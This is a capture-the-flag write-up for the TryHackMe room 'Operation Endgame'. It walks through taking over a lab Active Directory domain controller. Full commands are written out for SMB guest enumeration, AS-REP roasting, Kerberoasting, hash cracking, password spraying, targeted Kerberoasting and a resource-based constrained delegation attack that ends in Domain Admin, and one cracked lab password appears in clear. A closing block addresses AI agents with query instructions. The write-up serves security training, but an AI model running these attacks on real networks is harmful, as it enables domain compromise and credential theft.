# Operation Endgame

{% embed url="<https://tryhackme.com/room/operationendgame>" %}

The following post by 0xb0b is licensed under [CC BY 4.0<img src="https://mirrors.creativecommons.org/presskit/icons/cc.svg?ref=chooser-v1" alt="" data-size="line"><img src="https://mirrors.creativecommons.org/presskit/icons/by.svg?ref=chooser-v1" alt="" data-size="line">](http://creativecommons.org/licenses/by/4.0/?ref=chooser-v1)

***

## Scenario

So, Operation Endgame was firing on all cylinders. Sneaky Viper, our black hat crew, had become the worst nightmare. After months of gathering information and carrying out operations, we found the way to their system, and boom: mission complete.

## Summary

<details>

<summary>Summary</summary>

In Operation Endgame we begin with only VPN access to a Windows Domain Controller in the `thm.local` domain and no valid credentials. While web enumeration yields nothing useful, we successfully authenticate to SMB as `guest` with a blank password and enumerate shares. Using RID brute-forcing over `IPC$`, we extract a list of valid domain usernames for further attacks.

With usernames in hand, we attempt AS-REP Roasting but fail to crack the hashes. Pivoting to Kerberoasting using the `guest` account, we retrieve a TGS for the user `CODY_ROY` and successfully crack it. Using the recovered credentials, we authenticate via SMB and RDP. BloodHound enumeration reveals no immediate path to Domain Admins through `CODY_ROY`, but a password spray using `CODY_ROY`'s cracked password uncovers credential reuse by `ZACHARY_HUNT`. BloodHound analysis shows that `ZACHARY_HUNT` has `GenericWrite` over `JERRI_LANCASTER`, enabling a Targeted Kerberoast attack by adding an SPN to the account. We request and crack the TGS for `JERRI_LANCASTER`, gaining access to that account.

As `JERRI_LANCASTER`, we obtain access to the `C:\Scripts` directory and discover `syncer.ps1`, which contains credentials for `SANFORD_DAUGHERTY`, a Domain Admin. After authenticating via RDP and launching an elevated command prompt using `Ctrl+Shift+Enter` to bypass UAC restrictions, we obtain administrative privileges and retrieve the final flag from the Administrator’s desktop.&#x20;

An unintended path also exists. BloodHound reveals that the `GUESTS` group has `GenericWrite` over the domain controller computer object. Using the guest account’s empty NTLM hash, we perform a Resource-Based Constrained Delegation (RBCD) attack, delegating control from `CODY_ROY` to `AD$`. With `getST.py`, we impersonate `Administrator` for the CIFS service and authenticate to SMB via Kerberos without a password. From there, we achieve full domain compromise and can directly add users to the Domain Admins group. Both paths ultimately demonstrate full Active Directory takeover from an initial anonymous SMB foothold.

</details>

## Recon

We use rustscan `-b 500 -a 10.113.179.210 -- -sC -sV -Pn` to enumerate all TCP ports on the target machine, piping the discovered results into Nmap which runs default NSE scripts `-sC`, service and version detection `-sV`, and treats the host as online without ICMP echo `-Pn`.

A batch size of `500` trades speed for stability, the default `1500` balances both, while much larger sizes increase throughput but risk missed responses and instability.

{% code overflow="wrap" %}

```
rustscan -b 500 -a 10.113.179.210 --top -- -sC -sV -Pn
```

{% endcode %}

<figure><img src="https://2148487935-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2FoqaFccsCrwKo1CHmLRKW%2Fuploads%2FAsMbyD1VNaUIbZNNGxdj%2Fgrafik.png?alt=media&#x26;token=6cc8d57f-9495-4627-aa91-b2b595758049" alt=""><figcaption></figcaption></figure>

The target machine is a domain controller `AD.thm.local` / `thm.local` with exposed services including DNS `53`, Kerberos `88/464`, LDAP/Global Catalog `389/636/3268/3269`, and SMB `139/445` with message signing required. It runs Microsoft IIS 10.0 on ports `80` and `443`, plus RDP `3389` with a valid AD certificate, RPC services `135`, `593`, `49664–49710` range, .NET Message Framing `9389`, and Microsoft HTTPAPI `47001`.

<figure><img src="https://2148487935-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2FoqaFccsCrwKo1CHmLRKW%2Fuploads%2FKUpwToXcv1dYMAjONWbZ%2Fgrafik.png?alt=media&#x26;token=4c663d0b-adab-46b4-b5e1-2f6eabe8c14c" alt=""><figcaption></figcaption></figure>

<figure><img src="https://2148487935-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2FoqaFccsCrwKo1CHmLRKW%2Fuploads%2Fnnn39xwlFu1EEmATbbNB%2Fgrafik.png?alt=media&#x26;token=d6e2de6a-ca97-4971-9bc2-4d75779ded3f" alt=""><figcaption></figcaption></figure>

Since we don't have any credentials and couldn't find anything on the web server we try to authenticate as `guest` and anonymously against SMB. We can successfully authenticate ourselves as the user `guest`. Not only can we authenticate ourselves, we can also list shares, including the IPC$ share.

{% code overflow="wrap" %}

```
nxc smb 10.113.179.210 -u 'guest' -p '' --shares
```

{% endcode %}

<figure><img src="https://2148487935-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2FoqaFccsCrwKo1CHmLRKW%2Fuploads%2FtBcc38kSOQiE9NyX5Yk5%2Fgrafik.png?alt=media&#x26;token=d6ebac1b-a00a-46b2-ac9b-5939b46af4d6" alt=""><figcaption></figcaption></figure>

To further enumerate domain users, we perform a RID brute-force, since the `IPC$` share is readable.

{% embed url="<https://orange-cyberdefense.github.io/ocd-mindmaps/img/mindmap_ad_dark_classic_2025.03.excalidraw.svg>" %}

<figure><img src="https://2148487935-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2FoqaFccsCrwKo1CHmLRKW%2Fuploads%2F3Lawph6zHW8ueIDnpans%2Fgrafik.png?alt=media&#x26;token=85ec68a2-eb65-4ba5-95fe-1b97325817c7" alt=""><figcaption></figcaption></figure>

{% code overflow="wrap" %}

```
nxc smb 10.113.179.210 -u 'guest' -p '' --rid > rid_brute.txt
```

{% endcode %}

<figure><img src="https://2148487935-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2FoqaFccsCrwKo1CHmLRKW%2Fuploads%2Frxovtw6L4lLLHwiKnddH%2Fgrafik.png?alt=media&#x26;token=a67696b3-2b0c-4c1d-9561-2aba72c4fe8c" alt=""><figcaption></figcaption></figure>

We then craft a users list with the follwing command. These users may be helpful later on.

{% code overflow="wrap" %}

```
cat rid_brute.txt | grep "SidTypeUser" | cut -d'\' -f2 | cut -d' ' -f1 > usernames.txt
```

{% endcode %}

<figure><img src="https://2148487935-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2FoqaFccsCrwKo1CHmLRKW%2Fuploads%2FczpFFL1YXjDbxR39BWM8%2Fgrafik.png?alt=media&#x26;token=430ead2b-b593-477c-87a2-752a90e47df1" alt=""><figcaption></figcaption></figure>

We generate the hosts file entry like the following:

{% code overflow="wrap" %}

```
nxc smb 10.113.179.210 -u 'guest' -p '' --generate-hosts-file hosts
```

{% endcode %}

And add the following line to our `/etc/hosts` file.

{% code overflow="wrap" %}

```
10.113.179.210     AD.thm.local thm.local AD
```

{% endcode %}

<figure><img src="https://2148487935-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2FoqaFccsCrwKo1CHmLRKW%2Fuploads%2FWpVKvWxsFfid1Fd37pWw%2Fgrafik.png?alt=media&#x26;token=c8a4d854-b737-4eb0-bc70-45a084a459dc" alt=""><figcaption></figcaption></figure>

## Access as CODY\_ROY

### AS-REP Roastting

Now that we have some usernames, we can try AS-REP Roasting by requesting a Kerberos AS-REP response for accounts that do not require pre-authentication, allowing us to capture the encrypted response and crack it offline to recover the user's password.

{% embed url="<https://www.thehacker.recipes/ad/movement/kerberos/asreproast>" %}

{% embed url="<https://orange-cyberdefense.github.io/ocd-mindmaps/img/mindmap_ad_dark_classic_2025.03.excalidraw.svg>" %}

<figure><img src="https://2148487935-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2FoqaFccsCrwKo1CHmLRKW%2Fuploads%2FMHSFSBLOAOkZ7MRRmMO0%2Fgrafik.png?alt=media&#x26;token=32b71ad1-5505-4f71-b0c0-832ce59f8159" alt=""><figcaption></figcaption></figure>

We use NetExec for AS-REP Roasting and are able to extract the blob from several users.

{% code overflow="wrap" %}

```
nxc ldap AD.thm.local -u usernames.txt -p '' --asreproast nxc-asreproasting.txt
```

{% endcode %}

<figure><img src="https://2148487935-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2FoqaFccsCrwKo1CHmLRKW%2Fuploads%2FEYFD4apF0oGIsXQxlEGA%2Fgrafik.png?alt=media&#x26;token=f6a5f7a4-2c43-45c8-b021-1bbab999ec27" alt=""><figcaption></figcaption></figure>

But we aren't able to crack them...

{% code overflow="wrap" %}

```
hashcat -a0 -m18200 nxc-asreproasting.txt /usr/share/wordlists/rockyou.txt 
```

{% endcode %}

<figure><img src="https://2148487935-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2FoqaFccsCrwKo1CHmLRKW%2Fuploads%2FrClrbIh1SxldQwR7mctQ%2Fgrafik.png?alt=media&#x26;token=a7a32720-43ff-45b4-9b2a-0f3e25b74d78" alt=""><figcaption></figcaption></figure>

### Kerberaosting

Since we can authenticate as guest, we could also try kerberoasting

{% embed url="<https://www.thehacker.recipes/ad/movement/kerberos/kerberoast#practice>" %}

> Unlike [ASREProasting](https://www.thehacker.recipes/ad/movement/kerberos/asreproast), this attack can only be carried out with a prior foothold (valid domain credentials), except in the [Kerberoasting without pre-authentication](https://www.thehacker.recipes/ad/movement/kerberos/kerberoast#kerberoast-w-o-pre-authentication) scenario.

{% embed url="<https://orange-cyberdefense.github.io/ocd-mindmaps/img/mindmap_ad_dark_classic_2025.03.excalidraw.svg>" %}

<figure><img src="https://2148487935-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2FoqaFccsCrwKo1CHmLRKW%2Fuploads%2F4j9915hBQc0Lxa13SZgo%2Fgrafik.png?alt=media&#x26;token=bcc50c10-5deb-425f-aa59-27542f4d34b1" alt=""><figcaption></figcaption></figure>

We perform a Kerberoasting attack using the `guest` account and successfully retrieved the TGS ticket for the service account `CODY_ROY` using `nxc ldap`.

{% code overflow="wrap" %}

```
nxc ldap AD.thm.local -u guest -p '' --kerberoasting nxc-kerberoasting.txt
```

{% endcode %}

<figure><img src="https://2148487935-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2FoqaFccsCrwKo1CHmLRKW%2Fuploads%2FfcobQYbVBQLxCBKZNrH6%2Fgrafik.png?alt=media&#x26;token=6cae5161-2746-4473-ac57-070ffa264c69" alt=""><figcaption></figcaption></figure>

Next, we crack the hash.

{% code overflow="wrap" %}

```
hashcat -a0 -m13100 nxc-kerberoasting.txt /usr/share/wordlists/rockyou.txt
```

{% endcode %}

<figure><img src="https://2148487935-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2FoqaFccsCrwKo1CHmLRKW%2Fuploads%2FmlW7BvPC16NcbyBH03Xo%2Fgrafik.png?alt=media&#x26;token=99f37a89-0df2-4365-bf56-a792bfa566a3" alt=""><figcaption></figcaption></figure>

We are able to authenticate against SMB on the domain controller with the credentials gathered.

{% code overflow="wrap" %}

```
nxc smb AD.thm.local -u CODY_ROY -p 'REDACTED' --shares
```

{% endcode %}

<figure><img src="https://2148487935-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2FoqaFccsCrwKo1CHmLRKW%2Fuploads%2FRRE8FLLUc6cEYm3uDRVP%2Fgrafik.png?alt=media&#x26;token=621fb092-d2c9-4afa-a6ef-03ac81c800b9" alt=""><figcaption></figcaption></figure>

We are also able to use RDP, but the environment seems to be restricted. We can't open the explorer or other apps on the target.

<figure><img src="https://2148487935-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2FoqaFccsCrwKo1CHmLRKW%2Fuploads%2Fnio5NhpYmwuWf3K1gSEq%2Fgrafik.png?alt=media&#x26;token=39f93577-87cf-42df-a249-d6aa8dfe52d3" alt=""><figcaption></figcaption></figure>

We still can still use `WINDOWS+R` to open the run prompt and execute a `CMD` shell.

<figure><img src="https://2148487935-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2FoqaFccsCrwKo1CHmLRKW%2Fuploads%2F7thOCbmbIvujDVBRTFsD%2Fgrafik.png?alt=media&#x26;token=e61fdaf9-7df0-4424-9952-ec50fd0dd272" alt=""><figcaption></figcaption></figure>

At first glance, we don't find anything special on the target. In the `C:` directory, we find the Scripts folder. This could contain usable loot, but we don't have read permission as `CODY_ROY`.

<figure><img src="https://2148487935-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2FoqaFccsCrwKo1CHmLRKW%2Fuploads%2F1ytWiqby2Zmy7qAY08yI%2Fgrafik.png?alt=media&#x26;token=663dd14e-aec9-4876-8fc5-e21beadcc06d" alt=""><figcaption></figcaption></figure>

We can't even view the permissions for the folder.

<figure><img src="https://2148487935-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2FoqaFccsCrwKo1CHmLRKW%2Fuploads%2FKKRFSpLCUxma0XoUrJoi%2Fgrafik.png?alt=media&#x26;token=44b1bd2f-4245-497a-8f97-bd0f10df7423" alt=""><figcaption></figcaption></figure>

## BloodHound Enumeration

With the credentials, we can now also enumerate the AD using BloodHound.

{% code overflow="wrap" %}

```
bloodhound-ce.py --zip -c All -d thm.local -u CODY_ROY -p 'REDACTED' -dc AD.thm.local -ns 10.113.179.210
```

{% endcode %}

<figure><img src="https://2148487935-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2FoqaFccsCrwKo1CHmLRKW%2Fuploads%2F2IfChoQ3qVb9w2JZkUWs%2Fgrafik.png?alt=media&#x26;token=adea7d7c-ffec-41ff-a958-2ecec44e14d1" alt=""><figcaption></figcaption></figure>

`CODY_ROY` has some interesting permissions. As part of the `EVERYONE` group, the user has `GenericWrite` Permission on various users, which would allow us to perform a shadow credential attack or a targeted kerberoast attack on each of those users. But at first glance, those users do not have any interesting permissions or group memberships.

<figure><img src="https://2148487935-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2FoqaFccsCrwKo1CHmLRKW%2Fuploads%2Fpj0PpaESCVg22cq3AKjl%2Fgrafik.png?alt=media&#x26;token=bc240474-2586-49c8-81fc-eb2b6c46c19d" alt=""><figcaption></figcaption></figure>

The user `CODY_ROY` is also not part of a special group. We seem to have reached a dead end here.

<figure><img src="https://2148487935-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2FoqaFccsCrwKo1CHmLRKW%2Fuploads%2F9q4u208znKag8O3guLaB%2Fgrafik.png?alt=media&#x26;token=daba9be6-6c9d-43a2-8545-851c5abd7e48" alt=""><figcaption></figcaption></figure>

We can identify the following users as domain administrators:

<figure><img src="https://2148487935-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2FoqaFccsCrwKo1CHmLRKW%2Fuploads%2FZeD4lHiKta5inE4L4aLh%2Fgrafik.png?alt=media&#x26;token=3a52bb81-2faf-42b3-918b-8bb85e7a08bd" alt=""><figcaption></figcaption></figure>

If we look at the shortest path to domain admins, we find that the user guest has exceptional permissions. That allow us to escalate to the domain administrators.

<figure><img src="https://2148487935-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2FoqaFccsCrwKo1CHmLRKW%2Fuploads%2FSXAznsHs6QcHSizCKLyC%2Fgrafik.png?alt=media&#x26;token=093f2e3f-acac-47fc-b49b-6e926134ad13" alt=""><figcaption></figcaption></figure>

When we look at the guest user's Outbound Object Control, we see that we essentially have a GenericWrite on all users, but also on the domain controller machine. We will look at this path last, as I believe it is an untintended path. I had chosen this path for the original release of the challenge some time ago. It was part of a CTF held by THM at DEFCON 32.

<figure><img src="https://2148487935-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2FoqaFccsCrwKo1CHmLRKW%2Fuploads%2FH19zwQcHIcCfFerJkmUN%2Fgrafik.png?alt=media&#x26;token=54354257-43fe-4e03-94e4-9c6d04c58adc" alt=""><figcaption></figcaption></figure>

## Intendend Path

### Access as ZACHARY\_HUNT

From our previous enumeration, we were able to create a user list and crack a password of `CODY_ROY` from the TGS blob. If we didn't have the guest user with the aformentioned permisssion, how could we proceed?&#x20;

Next, we could look at the password policy and, perform a password spray with all usernames = password or with classic passwords like `Winter2026`. However, this lock the accounts.&#x20;

We'll try a password spray with the password of `CODY_ROY`, even though it doesn't look like it's being used by anyone else.

And we have a hit. `ZACHARY_HUNT` is also using that password.

{% code overflow="wrap" %}

```
kerbrute passwordspray -d 'thm.local' --dc 10.113.179.210 usernames.txt 'REDACTED'
```

{% endcode %}

<figure><img src="https://2148487935-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2FoqaFccsCrwKo1CHmLRKW%2Fuploads%2FKuh8SFR70LMsJHdJY1Z1%2Fgrafik.png?alt=media&#x26;token=4e8316a1-d317-4662-82e3-53b7cd0042e1" alt=""><figcaption></figcaption></figure>

We test the credentials using NetExec. We successfully authenticated and can list the shares.

{% code overflow="wrap" %}

```
nxc smb AD.thm.local -u ZACHARY_HUNT -p 'REDACTED' --shares
```

{% endcode %}

<figure><img src="https://2148487935-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2FoqaFccsCrwKo1CHmLRKW%2Fuploads%2F4sghlxlUkUQ0GKR78CzI%2Fgrafik.png?alt=media&#x26;token=3647015a-eaa3-4bb1-b123-3fd8e8bc9ed0" alt=""><figcaption></figcaption></figure>

We review our bloodhound data again and inspect what the user has for groups or permissions. `ZACHARY_HUNT` has `GenericWrite` permissions over `JERRI_LANCASTER`.

<figure><img src="https://2148487935-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2FoqaFccsCrwKo1CHmLRKW%2Fuploads%2FZUWPvzsHut6NtXtNwcMc%2Fgrafik.png?alt=media&#x26;token=ad14bbc3-d9d1-478a-ab5b-26b57d440df9" alt=""><figcaption></figcaption></figure>

The user `JERRI_LANCASTER` is member of the READER ADMINS group. Let's see what we can do with that.&#x20;

<figure><img src="https://2148487935-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2FoqaFccsCrwKo1CHmLRKW%2Fuploads%2FZmxhx80uedDDL8EW6o5n%2Fgrafik.png?alt=media&#x26;token=d528a669-8b97-492d-ab78-d01963f76b0b" alt=""><figcaption></figcaption></figure>

### Access as JERRI\_LANCASTER

Since we have a GenericWrite permission as `ZACHARY_HUNT` over `JERRI_LANCASTER` er try to perfom a targeted Kerberoast attack. In the hope to retrieve a crackable TGS. A shadow credential attack for now is less helpful because this will give us a hash and we only have RDP in place to connect requiring a password.

See below links for further reading

{% embed url="<https://www.thehacker.recipes/ad/movement/kerberos/kerberoast#targeted-kerberoasting>" %}

{% embed url="<https://www.thehacker.recipes/ad/movement/dacl/targeted-kerberoasting>" %}

> This abuse can be carried out when controlling an object that has a `GenericAll`, `GenericWrite`, `WriteProperty` or `Validated-SPN` over the target. A member of the [Account Operator](https://www.thehacker.recipes/ad/movement/builtins/security-groups) group usually has those permissions.
>
> The attacker can add an SPN (`ServicePrincipalName`) to that account. Once the account has an SPN, it becomes vulnerable to [Kerberoasting](https://www.thehacker.recipes/ad/movement/kerberos/kerberoast). This technique is called Targeted Kerberoasting.

To perform the TargetedKerberoast we will use the following tool:

{% embed url="<https://github.com/ShutdownRepo/targetedKerberoast>" %}

We run the following command and are able to get the Kerberos 5, etype 23, TGS-REP blob of the `JERRI_LANCASTER` user.

{% code overflow="wrap" %}

```
targetedKerberoast.py -d 'thm.local' -u 'zachary_hunt' -p 'REDACteD' --request-user 'jerri_lancaster' --dc-ip 10.113.179.210
```

{% endcode %}

<figure><img src="https://2148487935-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2FoqaFccsCrwKo1CHmLRKW%2Fuploads%2Fno1DdGEWr6kFQigRjbfZ%2Fgrafik.png?alt=media&#x26;token=ab601a2a-551e-47d9-81ce-8ffd0d6a4cfa" alt=""><figcaption></figcaption></figure>

We use hashcat to crack the blob and are able to retrieve the password of `JERRI_LANCASTER`.

{% code overflow="wrap" %}

```
hashcat -a0 -m13100 jerry_lancaster.blob /usr/share/wordlists/rockyou.txt
```

{% endcode %}

<figure><img src="https://2148487935-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2FoqaFccsCrwKo1CHmLRKW%2Fuploads%2F4j57b1KXnV4NL4qLwxit%2Fgrafik.png?alt=media&#x26;token=c5e82e37-b07c-4485-8ee5-0877a983bac1" alt=""><figcaption></figcaption></figure>

We test the credentials using NetExec. We successfully authenticated and can list the shares.

{% code overflow="wrap" %}

```
nxc smb AD.thm.local -u JERRI_LANCASTER -p 'REDACTED' --shares
```

{% endcode %}

<figure><img src="https://2148487935-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2FoqaFccsCrwKo1CHmLRKW%2Fuploads%2FhVjPaFNf0B7XJ3HCKtwj%2Fgrafik.png?alt=media&#x26;token=f2fcef2e-fa90-477c-979c-34276f2b9197" alt=""><figcaption></figcaption></figure>

As JERRI\_LANCASTER, we authenticate via RDP. Still the environment is restricted like for all other users. But we spawn a CMD shell.

<figure><img src="https://2148487935-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2FoqaFccsCrwKo1CHmLRKW%2Fuploads%2FjSA48VP2lPZdRKQZxipC%2Fgrafik.png?alt=media&#x26;token=c3140beb-f185-4d6a-851f-603924cdecbd" alt=""><figcaption></figcaption></figure>

And now we are able to read the `C:\Scripts` directory. It includes a syncer.ps1 which has the credentials of `SANFORD_DAUGHERTY`.

<figure><img src="https://2148487935-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2FoqaFccsCrwKo1CHmLRKW%2Fuploads%2FYgBCDAs5oon8Nm9jlCtc%2Fgrafik.png?alt=media&#x26;token=9c165ce3-71cd-4a58-9bb5-0de67a79db7b" alt=""><figcaption></figcaption></figure>

### Shell as SANFORD\_DAUGHERTY

Recalling our BloodHound data we know that this user is a Domain Admin.

<figure><img src="https://2148487935-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2FoqaFccsCrwKo1CHmLRKW%2Fuploads%2FHRpSaGcSqhcisr27IZ9V%2Fgrafik.png?alt=media&#x26;token=0cbd9110-37fc-485d-9f42-b245feed9d39" alt=""><figcaption></figcaption></figure>

We connect via RDP with the credentials gathered. Run a CMD shell...

<figure><img src="https://2148487935-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2FoqaFccsCrwKo1CHmLRKW%2Fuploads%2FL5pzieQaM2ENeilJOae3%2Fgrafik.png?alt=media&#x26;token=f90a7e98-b818-461f-9a43-5d919d8e867c" alt=""><figcaption></figcaption></figure>

... and we do not have the privileges. We did not start it in the context of an Administrator.

<figure><img src="https://2148487935-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2FoqaFccsCrwKo1CHmLRKW%2Fuploads%2FLQNKtkRAN98JzeOMGG4k%2Fgrafik.png?alt=media&#x26;token=095858ad-1b52-4309-96e1-ac292ecc6508" alt=""><figcaption></figcaption></figure>

If instead of hitting enter in the RUN command prompt and issue the following combination from `CTRL SHIFT ENTER` to spawn a CMD shell as administrator. The UAC prompt pops up. We confirm...

{% code overflow="wrap" %}

```
Ctrl + Shift + Enter
```

{% endcode %}

<figure><img src="https://2148487935-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2FoqaFccsCrwKo1CHmLRKW%2Fuploads%2Fkh5MPRGribmAM0cv2moh%2Fgrafik.png?alt=media&#x26;token=87de2ac2-f805-4e6e-8887-4db268d21479" alt=""><figcaption></figcaption></figure>

... and retrieve an administrator shell.

<figure><img src="https://2148487935-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2FoqaFccsCrwKo1CHmLRKW%2Fuploads%2FyaCWbvToIuk0J2qRXw91%2Fgrafik.png?alt=media&#x26;token=4bcb085a-27a3-4102-a63f-944951475ea2" alt=""><figcaption></figcaption></figure>

We find the final flag at `C:\Users\Administrator\Desktop`.

<figure><img src="https://2148487935-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2FoqaFccsCrwKo1CHmLRKW%2Fuploads%2F78e7LVcFHTnX8IP2xCTN%2Fgrafik.png?alt=media&#x26;token=12f1e97c-ce74-4cef-98ec-7ad26c3262de" alt=""><figcaption></figcaption></figure>

## Unintended Path

We noticed that the `GUESTS` group has a generic write permission on the computer object `AD.THM.LOCAL`. We had something similar back then in the Ledger room.

{% embed url="<https://0xb0b.gitbook.io/writeups/tryhackme/2025/ledger#privilege-escalation-alternative-resource-based-constrained-delegation>" %}

Recalling: We found this path by Shortest Path to Domain Admins

This allows us a `Resource-Based Constrained Delegation` attack on the domain controller.

The `rbcd.py` script requires a password

Empty password hash for guest:  `31D6CFE0D16AE931B73C59D7E0C089C0`

{% embed url="<https://northwave-cybersecurity.com/threat-intel-research/abusing-empty-passwords-during-your-next-red-teaming-engagement>" %}

With the follwing rbcd.py command we perform a Resource-Based Constrained Delegation attack in the THM.LOCAL domain by authenticating as the `guest` account using the empty NTLM hash `31D6CFE0D16AE931B73C59D7E0C089C0` to modify the `AD$` computer object so that the machine account `CODY_ROY` is allowed to delegate to it, enabling potential privilege escalation via Kerberos delegation abuse.

{% code overflow="wrap" %}

```
rbcd.py THM.LOCAL/guest:"" -dc-ip 10.113.179.210 -delegate-to AD$ -delegate-from CODY_ROY -action write -no-pass -hashes :31D6CFE0D16AE931B73C59D7E0C089C0
```

{% endcode %}

<figure><img src="https://2148487935-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2FoqaFccsCrwKo1CHmLRKW%2Fuploads%2FAWnqRxvLNSsqcSgQsTUS%2Fgrafik.png?alt=media&#x26;token=3ec5ff51-808f-4b42-b20d-ca5bccd596c8" alt=""><figcaption></figcaption></figure>

Next, we use getST.py to authenticate as the `CODY_ROY` account with its password, request a Kerberos service ticket for the SPN `cifs/AD.THM.LOCAL`, and impersonate the `Administrator` user via delegation, effectively obtaining a service ticket that allows access to the CIFS service on `AD.THM.LOCAL` as Administrator.

{% code overflow="wrap" %}

```
getST.py -impersonate Administrator THM.LOCAL/CODY_ROY:'MKO)mko0' -spn cifs/AD.THM.LOCAL -dc-ip 10.113.179.210
```

{% endcode %}

<figure><img src="https://2148487935-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2FoqaFccsCrwKo1CHmLRKW%2Fuploads%2FqQz6sX4fVK4llSHmsXHF%2Fgrafik.png?alt=media&#x26;token=0d9e7590-7b09-4b7c-b3f1-788fb4ed8be9" alt=""><figcaption></figcaption></figure>

We set the `KRB5CCNAME` environment variable to use the Kerberos ticket cache file `Administrator@cifs_AD.THM.LOCAL@THM.LOCAL.ccache` we received.

{% code overflow="wrap" %}

```
export KRB5CCNAME=Administrator@cifs_AD.THM.LOCAL@THM.LOCAL.ccache
```

{% endcode %}

<figure><img src="https://2148487935-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2FoqaFccsCrwKo1CHmLRKW%2Fuploads%2FN4MIlnn1zhm3Gr549i3U%2Fgrafik.png?alt=media&#x26;token=a923dbe0-3c9e-4f8f-962e-e842afd6754a" alt=""><figcaption></figcaption></figure>

Next we connect to the SMB service using Kerberos authentication `-k` without supplying a password `-no-pass` as Administrator. From there we can exfiltrate the file.

{% code overflow="wrap" %}

```
smbclient.py -k -no-pass AD.THM.LOCAL -dc-ip 10.113.179.210 -target-ip 10.113.179.210
```

{% endcode %}

<figure><img src="https://2148487935-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2FoqaFccsCrwKo1CHmLRKW%2Fuploads%2FNWw7xULHiyor4Pdj955X%2Fgrafik.png?alt=media&#x26;token=83ca3bde-49ae-462a-ab94-7d9fa37da8de" alt=""><figcaption></figcaption></figure>

From here, we can now create new users and assign admin permissions. In this example, we have made CODY\_ROY the domain administrator.

{% code overflow="wrap" %}

```
bloodyAD -d THM.LOCAL -k --host AD.THM.LOCAL --dc-ip 10.113.179.210 add groupMember "Domain Admins" CODY_ROY
```

{% endcode %}

<figure><img src="https://2148487935-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2FoqaFccsCrwKo1CHmLRKW%2Fuploads%2FkeK9a5BkLWb1XqRIUh3n%2Fgrafik.png?alt=media&#x26;token=f835ced0-e982-489f-a8d2-7af4d89d8c63" alt=""><figcaption></figcaption></figure>


---

# Agent Instructions: Querying This Documentation

If you need additional information that is not directly available in this page, you can query the documentation dynamically by asking a question.

Perform an HTTP GET request on the current page URL with the `ask` query parameter:

```
GET https://0xb0b.gitbook.io/writeups/tryhackme/2026/operation-endgame.md?ask=<question>
```

The question should be specific, self-contained, and written in natural language.
The response will contain a direct answer to the question and relevant excerpts and sources from the documentation.

Use this mechanism when the answer is not explicitly present in the current page, you need clarification or additional context, or you want to retrieve related documentation sections.
